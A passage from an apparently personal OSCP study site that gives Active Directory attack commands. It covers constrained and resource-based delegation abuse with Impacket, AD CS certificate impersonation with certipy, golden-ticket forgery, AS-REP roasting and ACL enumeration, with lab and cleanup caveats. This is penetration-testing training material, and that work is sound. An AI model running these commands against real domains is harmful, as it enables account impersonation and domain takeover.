Get-DomainUser -TrustedToAuth | Select-Object samaccountname
Get-DomainComputer -TrustedToAuth | Select-Object dnshostname
Get-DomainObject -LDAPFilter '(msDS-AllowedToDelegateTo=*)' -Properties samaccountname,msds-allowedtodelegateto

Shell commands

# Baseline
impacket-findDelegation 'DOMAIN/USER:PASSWORD' -dc-ip DC_IP

Shell commands

Constrained delegation/S4U requires control of the delegated account/key and an allowed SPN:

# Baseline
impacket-getST -spn ALLOWED_SPN -impersonate AUTHORIZED_TEST_USER \
  -dc-ip DC_IP 'DOMAIN/DELEGATED_USER:PASSWORD'
export KRB5CCNAME="$PWD/AUTHORIZED_TEST_USER.ccache"

Use the ticket only for the approved service/host. Unconstrained delegation can expose forwarded/cached tickets, but coercing authentication changes another host's behavior and is not a baseline. Validate only in a disposable authorized lab and protect ticket material.

Resource-based constrained delegation

Prerequisite: effective write control over the target computer's msDS-AllowedToActOnBehalfOfOtherIdentity plus control of a principal with an SPN (often a lab computer account).

# Resource-based constrained delegation
impacket-addcomputer 'DOMAIN/USER:PASSWORD' -computer-name 'LABCOMPUTER$' \
  -computer-pass 'LAB_MACHINE_PASSWORD' -dc-host DC_HOST -dc-ip DC_IP

impacket-rbcd -delegate-from 'LABCOMPUTER$' -delegate-to 'TARGETCOMPUTER$' \
  -action write -dc-ip DC_IP 'DOMAIN/USER:PASSWORD'

impacket-getST -spn cifs/TARGET_HOST -impersonate AUTHORIZED_TEST_USER \
  -dc-ip DC_IP 'DOMAIN/LABCOMPUTER$:LAB_MACHINE_PASSWORD'

# Cleanup after the lab objective
impacket-rbcd -delegate-from 'LABCOMPUTER$' -delegate-to 'TARGETCOMPUTER$' \
  -action remove -dc-ip DC_IP 'DOMAIN/USER:PASSWORD'
impacket-addcomputer 'DOMAIN/USER:PASSWORD' -computer-name 'LABCOMPUTER$' \
  -delete -dc-ip DC_IP

Machine-account quota, computer-object rights, DNS/SPN naming and target service authorization are separate prerequisites.

Read / verify → Verify the exact service ticket and successful destination action, with original delegation state preserved.

If it fails → Protected accounts, unavailable service identity, unsupported encryption or wrong SPN can break the chain. Use only when the complete conditional path exists.

  • A valid ticket/cache or a long-term key that can request a TGT → Inventory, convert and import tickets in the correct logon context
  • A password, actual NT hash, AES/NT long-term key or ticket is available → Select password, NT hash, key-to-ticket or ticket authentication
  • An ACL/graph edge names GenericAll, GenericWrite, WriteDacl, WriteOwner or an extended/property right → Validate effective directory-object control

Prerequisite checks & examples →Full technique →

Conditional: validate an AD CS enrollment-to-authentication path

Contents ↑

Use when: A CA/template configuration exposes a plausible certificate identity transition

Needs: Effective enrollment/template/CA rights and the exact vulnerable settings; issuance requirements, identity mapping and authentication route must all permit the path

Package names vary

Prerequisite: reachable CA/DC and a valid domain identity. Decisive output: a CA/template whose enabled state, enrollment rights and configuration satisfy a specific ESC path.

# Package names vary
command -v certipy-ad || command -v certipy
certipy-ad find -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP \
  -enabled -vulnerable -stdout

Generic request after validating a specific template

An ESC label is a candidate classification. Manually validate the properties and the controlled identity's effective rights.

# Generic request after validating a specific template
certipy-ad req -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP \
  -target DC_HOST -ca CA_NAME -template TEMPLATE

Shell commands

An alternate UPN/SID request is appropriate only when the validated template permits it and the lab explicitly authorizes impersonation testing:

# Baseline
certipy-ad req -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP \
  -target DC_HOST -ca CA_NAME -template TEMPLATE \
  -upn 'TEST_USER@DOMAIN' -sid 'TEST_USER_SID'

# Baseline
certipy-ad auth -pfx CERTIFICATE.pfx -dc-ip DC_IP

Before any authorized template change, save configuration

Treat PFX files, tickets and returned hashes as credentials. Verify certificate subject/SID, validity and intended identity. A successful issuance is not the same as successful PKINIT authentication.

Before any authorized template change, save configuration:

# Before any authorized template change, save configuration
certipy-ad template -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP \
  -template TEMPLATE -save-configuration template-backup.json

Template writes alter Active Directory configuration and may affect many principals. Use only an explicitly authorized disposable lab path, inspect certipy-ad template -h for the installed version, and restore the saved configuration after the demonstration.

Read / verify → Verify issuance, matching private key, mapped account and a successful authentication effect; preserve and restore template changes.

If it fails → Denied enrollment, approval, mapping hardening or missing key material needs a different conditional route, not a renamed certificate tool.

  • A secret-like value, key file, stored hash, challenge response or ticket → Classify the artifact and its identity context
  • A valid ticket/cache or a long-term key that can request a TGT → Inventory, convert and import tickets in the correct logon context
  • An ACL/graph edge names GenericAll, GenericWrite, WriteDacl, WriteOwner or an extended/property right → Validate effective directory-object control

Prerequisite checks & examples →Full technique →

Conditional: understand a realm-wide TGT forgery from KRBTGT material

Contents ↑

Use when: An already compromised domain exposes a KRBTGT key and domain SID

Needs: Correct KRBTGT cryptographic material, realm/SID/principal data, valid ticket parameters and compatible service/KDC validation behavior

Authorized isolated-lab examples

Golden tickets require the domain SID and KRBTGT key. They are persistence/impact concepts, not a default Block 11 action. A forged ticket still depends on correct cryptographic material, realm, time and authorization. For the active service-scoped case, use Silver tickets.

# Authorized isolated-lab examples
# Golden: realm-wide TGT material
impacket-ticketer -nthash KRBTGT_NT_HASH -domain-sid DOMAIN_SID \
  -domain DOMAIN AUTHORIZED_TEST_USER

export KRB5CCNAME="$PWD/AUTHORIZED_TEST_USER.ccache"
klist

Use only against the approved service/host, record ticket metadata and remove generated credentials afterward. Domain recovery after KRBTGT exposure generally requires coordinated credential rotation and replication convergence; service-ticket exposure requires rotating the affected service/machine secret and reviewing access.

Read / verify → Verify cryptographic source, represented principal and exact service effect; protect the key and remove generated test credentials.

If it fails → Wrong key/version, realm, time or validation behavior can reject a forged ticket. Prefer legitimate current tickets for ordinary movement.

  • A valid ticket/cache or a long-term key that can request a TGT → Inventory, convert and import tickets in the correct logon context
  • A password, actual NT hash, AES/NT long-term key or ticket is available → Select password, NT hash, key-to-ticket or ticket authentication
  • Access, privilege, identity or route changes, or a report will need reproduction → Capture state-transition, proof and exploit-adaptation evidence

Prerequisite checks & examples →Full technique →

First pass: tools and findings

Use the steps matching your current access. Follow a concrete finding instead of completing every technique in order.

Inspect the tickets/material already available

Use the current identity and ticket cache before attempting credential collection or ticket construction.

klist
  • If A valid service-scoped ticket → Classify tickets and use a compatible cache

    Check service principal, expiry and the matching client.

  • If A privileged local token and an accessible credential source → Obtain accessible live logon-session credential material

    Check protection and exact source prerequisites before selecting a collector.

Otherwise: No useful ticket/source: inspect account configuration and object rights with the available domain identity. Open Enumerate directory objects with native, LDAP and PowerView approaches →

Full commands & alternatives →

Choose AS-REP or SPN roasting from account evidence

Use this branch only for a confirmed preauthentication-disabled account; ordinary SPN accounts use a different request.

impacket-GetNPUsers 'DOMAIN/USER' -no-pass -dc-ip DC_IP
  • If A valid AS-REP response for the known account → Request AS-REP material for an account without preauthentication

    Use the type-specific offline recovery path.

  • If A normal service account with an SPN → Request a selected service ticket for offline service-account recovery

    Request the matching service ticket in an authenticated context.

Otherwise: The account requires preauthentication: stop this path and inspect SPNs or effective object rights. Open Validate effective directory-object control →

Full commands & alternatives →

Resolve an ACL edge to its concrete operation

Use the exact trustee, target class, GUID and inheritance/deny behavior, not the graph label alone.

Get-DomainObjectAcl -Identity TARGET_OBJECT -ResolveGUIDs
  • If Effective password-reset right on the intended user → Reset a target account password through a validated directory right

    Confirm account state and the effect of changing its password.

  • If Effective write to a useful group's member attribute → Add a controlled identity to a group through effective membership rights

    Confirm the group effect and refresh the resulting token/logon context.

  • If WriteOwner/WriteDacl on the target object → Convert ownership or DACL control into a narrower useful right

    Preserve original state and validate each intermediate right.

Otherwise: The right is not effective for the controlled principal: discard that edge and inspect another verified relationship. Open Enumerate directory objects with native, LDAP and PowerView approaches →

Full commands & alternatives →

Additional organization and gap review informed by 0xsyr0/OSCP ↗. Tool links open upstream sources.

HomeProjectsToolsNotes
Interactive toolsOSCP notes ↗Extended OSCP workspace ↗Attack-path visualizer ↗

© 2026 Armaan. Built with curiosity.

GitHub ↗GMT+8